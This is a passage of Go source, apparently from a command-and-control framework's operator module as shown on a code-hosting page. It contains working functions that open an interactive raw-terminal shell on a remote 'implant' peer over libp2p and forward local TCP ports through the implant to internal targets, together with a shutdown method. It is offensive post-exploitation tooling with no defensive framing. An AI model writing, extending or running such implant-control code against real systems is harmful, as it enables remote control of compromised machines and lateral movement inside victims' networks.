ctx = network.WithAllowLimitedConn(ctx, "shell")
|
||||
|
||||
s, err := o.node.NewStream(ctx, pid, transport.ShellProtocolID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("open shell stream to %s: %w", implantPeerID, err)
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
rows, cols, err := term.GetSize(int(os.Stdin.Fd()))
|
||||
if err != nil {
|
||||
rows, cols = 30, 120
|
||||
}
|
||||
if err := binary.Write(s, binary.LittleEndian, uint16(rows)); err != nil {
|
||||
return fmt.Errorf("send rows: %w", err)
|
||||
}
|
||||
if err := binary.Write(s, binary.LittleEndian, uint16(cols)); err != nil {
|
||||
return fmt.Errorf("send cols: %w", err)
|
||||
}
|
||||
|
||||
oldState, err := term.MakeRaw(int(os.Stdin.Fd()))
|
||||
if err != nil {
|
||||
return fmt.Errorf("raw terminal: %w", err)
|
||||
}
|
||||
defer term.Restore(int(os.Stdin.Fd()), oldState)
|
||||
|
||||
errCh := make(chan error, 2)
|
||||
|
||||
go func() {
|
||||
_, err := io.Copy(s, &shellEscaper{r: os.Stdin})
|
||||
errCh <- err
|
||||
}()
|
||||
go func() {
|
||||
_, err := io.Copy(os.Stdout, s)
|
||||
errCh <- err
|
||||
}()
|
||||
|
||||
<-errCh
|
||||
fmt.Println() // newline after shell exits
|
||||
return nil
|
||||
}
|
||||
|
||||
// Portfwd listens on a local TCP port and tunnels connections through the implant to the
|
||||
// specified target address.
|
||||
func (o *Operator) Portfwd(implantPeerID string, localPort int, target string) error {
|
||||
pid, err := peer.Decode(implantPeerID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("decode peer id %s: %w", implantPeerID, err)
|
||||
}
|
||||
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", localPort))
|
||||
if err != nil {
|
||||
return fmt.Errorf("listen 127.0.0.1:%d: %w", localPort, err)
|
||||
}
|
||||
defer listener.Close()
|
||||
|
||||
log.Printf("[operator] portfwd: forwarding 127.0.0.1:%d -> %s via %s", localPort, target, implantPeerID)
|
||||
|
||||
for {
|
||||
localConn, err := listener.Accept()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer localConn.Close()
|
||||
|
||||
pctx, pcancel := context.WithTimeout(o.ctx, 15*time.Second)
|
||||
defer pcancel()
|
||||
pctx = network.WithAllowLimitedConn(pctx, "portfwd")
|
||||
|
||||
s, err := o.node.NewStream(pctx, pid, transport.PortfwdProtocolID)
|
||||
if err != nil {
|
||||
log.Printf("[operator] portfwd stream: %v", err)
|
||||
return
|
||||
}
|
||||
defer s.Close()
|
||||
|
||||
if _, err := fmt.Fprintf(s, "%s\n", target); err != nil {
|
||||
log.Printf("[operator] portfwd send target: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
go io.Copy(s, localConn)
|
||||
io.Copy(localConn, s)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
// Close cancels the operator context and shuts down the node.
|
||||
func (o *Operator) Close() error {
|
||||
o.cancel()
|
||||
return o.node.Close()
|
||||
}
|
||||
Reference in New Issue
Block a user